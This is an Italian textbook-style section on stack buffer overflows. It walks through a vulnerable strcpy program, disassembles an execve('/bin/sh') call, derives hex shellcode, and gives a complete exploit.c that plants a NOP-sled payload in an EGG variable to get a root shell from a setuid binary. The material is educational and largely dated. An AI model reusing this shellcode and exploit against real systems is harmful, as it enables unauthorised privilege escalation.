In sez. 25.1 sono state illustrate tecniche di attacco al protocollo di comunicazione TCP/IP. Esistono anche altre tecniche che mirano a sfruttare le falle presenti nei programmi. Dipendentemente dal tipo di falla e dai diritti che ha il processo relativo, è possibile arrivare anche a prendere il controllo completo del sistema. Una delle tecniche più utilizzate per guadagnare privilegi normalmente non consentiti è quella denominata buffer overflow, che consiste appunto nello sfruttare lo sforamento di un buffer per far eseguire al processo del codice ad hoc (è detto anche stack overflow poiché spesso il buffer overflow viene sfruttato per scrivere codice arbitrario all’interno dello stack).
Un buffer è essenzialmente un recipiente di informazioni, ovvero una variabile (o un array). È possibile che i linguaggi di programmazione di basso livello abbiano qualche funzione di libreria che non effettua nessun controllo sulla lunghezza dei buffer (per questioni di prestazioni). Un esempio per tutte: la funzione strcpy() del C.
Il codice seguente è un esempio di buffer overflow: la stringa passata alla funzione test() è più lunga di quella attesa (20 byte invece di 16) e quindi la stringa di destinazione (l_str) conterrà soltanto i primi 16 byte della stringa passata (p_str), ma i restanti byte saranno comunque scritti in memoria, cioè nello stack, e quindi causeranno una variazione al comportamento atteso del programma. Nel caso illustrato probabilmente si produrrà un errore di “segmentation violation”.
test(char *p_str) { char l_str[16]; strcpy(l_str, p_str); } void main() { char buffer[20]; int i; for (i=0;i<19;++i) { buffer[i] = 'A'; } buffer[19]='\0'; test(buffer); }
La dimensione dello stack è fissa, ma la parte utilizzata varia durante l’esecuzione del programma. Lo stack viene riempito a partire dall’indirizzo più elevato, ed il sistema tiene conto della parte effettivamente utilizzata per mezzo di un puntatore, lo stack pointer che memorizza il suo indirizzo inferiore. Tale valore può decrescere fintantoché non arriva al data segment5 (v. fig. 25.7).6 In particolare, nelle CPU X386 lo stack pointer è memorizzato nel registro SP (ESP). Quando viene chiamata una subroutine il valore contenuto nello stack pointer prima della chiamata viene salvato nel registro BP (EBP - base pointer) e quindi il registro SP (ESP) viene aggiornato con l’indirizzo più basso effettivamente utilizzato dallo stack (punta cioè al limite inferiore dello stack).
Nell’esempio di codice illustrato precedentemente, subito prima dell’esecuzione della funzione strcpy, il contesto attuale dello stack (o stack frame) conterrà l’indirizzo di buffer, l’indirizzo del punto di ritorno dopo aver chiamato la routine test(), l’indirizzo dello stack pointer (prima della chiamata alla routine) e le variabili automatiche della routine test(), cioè l_str.
Dopo l’esecuzione di strcpy() la parte dello stack relativa a l_str sarà riempita con i primi 16 byte di buffer e gli altri 4 byte saranno andati a finire nelle locazioni di memoria contigue, sporcando il contenuto dello stack pointer precedentemente salvato.
Dunque, poiché è possibile scrivere nello stack, si può pensare di scrivere del codice eseguibile e farlo eseguire al sistema. L’idea è quella di memorizzare il codice eseguibile nel buffer e di sostituire l’indirizzo di ritorno della funzione chiamata, con quello dell’inizio del buffer stesso. In questo modo, al termine della routine viene eseguito il codice che sta nel buffer. Per far ciò deve comunque essere possibile interagire con il programma vittima che deve avere una falla di tipo buffer overflow. Un esempio di programma vittima può essere quello seguente
void main(int argc, char *argv[]) { char l_buffer[512]; if (argc > 1) { strcpy(l_buffer, argv[1]); } printf("Program terminated.\n"); }
Per lanciare una shell da programma è sufficiente eseguire le seguenti linee di codice (file runshell.c)
#include <stdio.h> void main() { char *l_command[2]; l_command[0] = "/bin/sh"; l_command[1] = NULL; execve(l_command[0], l_command, NULL); exit(0); }
$ gcc -o runshell -ggdb -static runshell.c
$ gdb runshell
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp Salva il vecchio stack pointer
nello stack
0x8000131 <main+1>: movl %esp,%ebp Salva il nuovo stack pointer in
EBP
0x8000133 <main+3>: subl $0x8,%esp Alloca il posto per le variabili
automatiche (2 puntatori = 8 byte)
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp) Assegna l’indirizzo di inizio di
/bin/sh a l_command[0]
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp) Assegna il valore 0 a
l_command[1]
0x8000144 <main+20>: pushl $0x0 Copia nello stack i valori da
passare a execve (in ordine inverso)
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve> Chiama execve
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp Ripristina ESP con
EBP
0x8000158 <main+40>: popl %ebp Ripristina EBP dallo
stack
0x8000159 <main+41>: ret Ritorna al chiamante
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp Salva il vecchio stack pointer
nello stack
0x80002bd <__execve+1>: movl %esp,%ebp Salva il nuovo stack pointer in
EBP
0x80002bf <__execve+3>: pushl %ebx Salva EBX nello
stack
0x80002c0 <__execve+4>: movl $0xb,%eax Assegna BH a
EAX
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Assegna il valore del primo
parametro (displacement 8H poiché nello stack è stato salvato EBP e EBX) a EBX
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Assegna il valore del secondo
parametro (displacement CH) a ECX
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Assegna il valore del terzo
parametro (displacement 10H) a EDX
0x80002ce <__execve+18>: int $0x80 Chiama la routine di
interrupt
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx Ripristina EBX dallo
stack
0x80002e7 <__execve+43>: movl %ebp,%esp Ripristina ESP con
EBP
0x80002e9 <__execve+45>: popl %ebp Ripristina EBP dallo
stack
0x80002ea <__execve+46>: ret Ritorna al chiamante
0x80002eb <__execve+47>: nop
End of assembler dump.
Quindi, considerando soltanto le istruzioni assembly strettamente necessarie, il codice per
l’esecuzione di una shell si compone di quelle seguenti
movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1,%eax movl $0x0,%ebx int $0x80 .string "/bin/sh"
Quindi si può inserire come prima istruzione una JMP che sposti l’esecuzione ad una CALL. La CALL deve essere posizionata appena prima della stringa ‘/bin/sh’, in maniera tale che l’indirizzo dove è memorizzata la stringa ‘/bin/sh’ venga memorizzato nello stack come indirizzo di ritorno dalla CALL, quindi recuperabile dallo stack con una POP subito dopo la CALL. Pertanto il codice assembly per il lancio di una shell diviene quello seguente
jmp offset-to-call popl %esi movl %esi,array-offset(%esi) movb $0x0,nullbyteoffset(%esi) movl $0x0,null-offset(%esi) movl $0xb,%eax movl %esi,%ebx leal array-offset(%esi),%ecx leal null-offset(%esi),%edx int $0x80 movl $0x1,%eax movl $0x0,%ebx int $0x80 call offset-to-popl .string "/bin/sh"
jmp 0x26 popl %esi movl %esi,0x8(%esi) movb $0x0,0x7(%esi) movl $0x0,0xc(%esi) movl $0xb,%eax movl %esi,%ebx leal 0x8(%esi),%ecx leal 0xc(%esi),%edx int $0x80 movl $0x1,%eax movl $0x0,%ebx int $0x80 call -0x2b .string "/bin/sh"
EB 2A 5E 89 76 08 C6 46 07 00 C7 46 0C 00 00 00 00 B8 0B 00 00 00 89 F3 8D 4E 08 8D 56 0C CD 80 B8 01 00 00 00 BB 00 00 00 00 CD 80 E8 D1 FF FF FF 2F 62 69 6E 2F 73 68 00 89 EC 5D C3
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movl $0xb,%eax
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string "/bin/sh"
EB 1F 5E 89 76 08 31 C0 88 46 07 89 46 0C B0 0B 89 F3 8D 4E 08 8D 56 0C CD 80 31 DB 89 D8 40 CD 80 E8 DC FF FF FF 2F 62 69 6E 2F 73 68 00
Per poter provare la tecnica del buffer overflow con il programma vittima presentato precedentemente è più agevole scrivere un altro programma (exploit.c) che imposta una variabile di ambiente (EGG) con la stringa appositamente creata per essere poi data in pasto al programma vittima.
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { /* Ritorna il valore del registro ESP */ __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { /* Costruisce una stringa contenente il codice per lanciare una shell * con la tecnica del buffer overflow e la memorizza in una variabile * d'ambiente EGG. Quindi lancia una shell * * I parametri di ingresso: * argv[1] è la dimensione della stringa da utilizzare nell'attacco * argv[2] è l'offset a cui si pensa possa essere memorizzato il buffer * da attaccare all'interno dello stack */ char *buff, *ptr; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } /* L'indirizzo con il quale sostituire quello di ritorno è quello dello * stack pointer con l'offset eventualmente passato in ingresso. Poiché * l'indirizzo superiore dello stack è lo stesso per qualunque programma * questa impostazione può andare bene. */ addr = get_sp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i=0; i<bsize; i+=4) { *(addr_ptr++) = addr; } for (i=0; i<bsize/2; ++i) { buff[i] = NOP; } ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); for (i=0; i<strlen(shellcode); ++i) { *(ptr++) = shellcode[i]; } buff[bsize-1] = '\0'; memcpy(buff,"EGG=",4); putenv(buff); system("/bin/bash"); }
$ ./exploit 1024 500
$
Una volta che exploit ha completato il suo lavoro si può tentare di realizzare il buffer
overflow lanciando il programma vulnerable (prodotto dalla compilazione di vulnerable.c)
passandogli come parametro la variabile di ambiente EGG che contiene il codice eseguibile da
iniettare nello stack per far eseguire una shell con i permessi del processo lanciato in
esecuzione da vulnerable. Quindi, supponendo che vulnerable sia di proprietà del superuser
ed abbia il suid impostato, se si ottiene il risultato seguente, si ha una shell con i privilegi del
superuser!
$ ./vulnerable $EGG
#
È una questione di tentativi. Se non funziona al primo tentativo (magari si riceve qualche
messaggio di errore, o altro) si può ritentare provando a variare il contenuto della variabile di
ambiente EGG rilanciando exploit con parametri diversi da quelli precedenti. Quindi si
riprovi a rilanciare in esecuzione vulnerable seguito dalla variabile di ambiente EGG
...
Questo è essenzialmente il meccanismo che sta alla base dei tentativi di exploit dei buffer overflow, che fa toccare con mano la possibilità da parte degli utenti di ottenere privilegi a loro normalmente non consentiti.
La riuscita di tale exploit sembra dipendere anche dalla versione del compilatore utilizzato per ottenere vulnerable. Con vulnerable prodotto da gcc v. 2??? l’exploit prima o poi riesce, mentre con quello prodotto da gcc v. 3.3.3 non sono riuscito ad ottenere una shell con privilegi del superuser.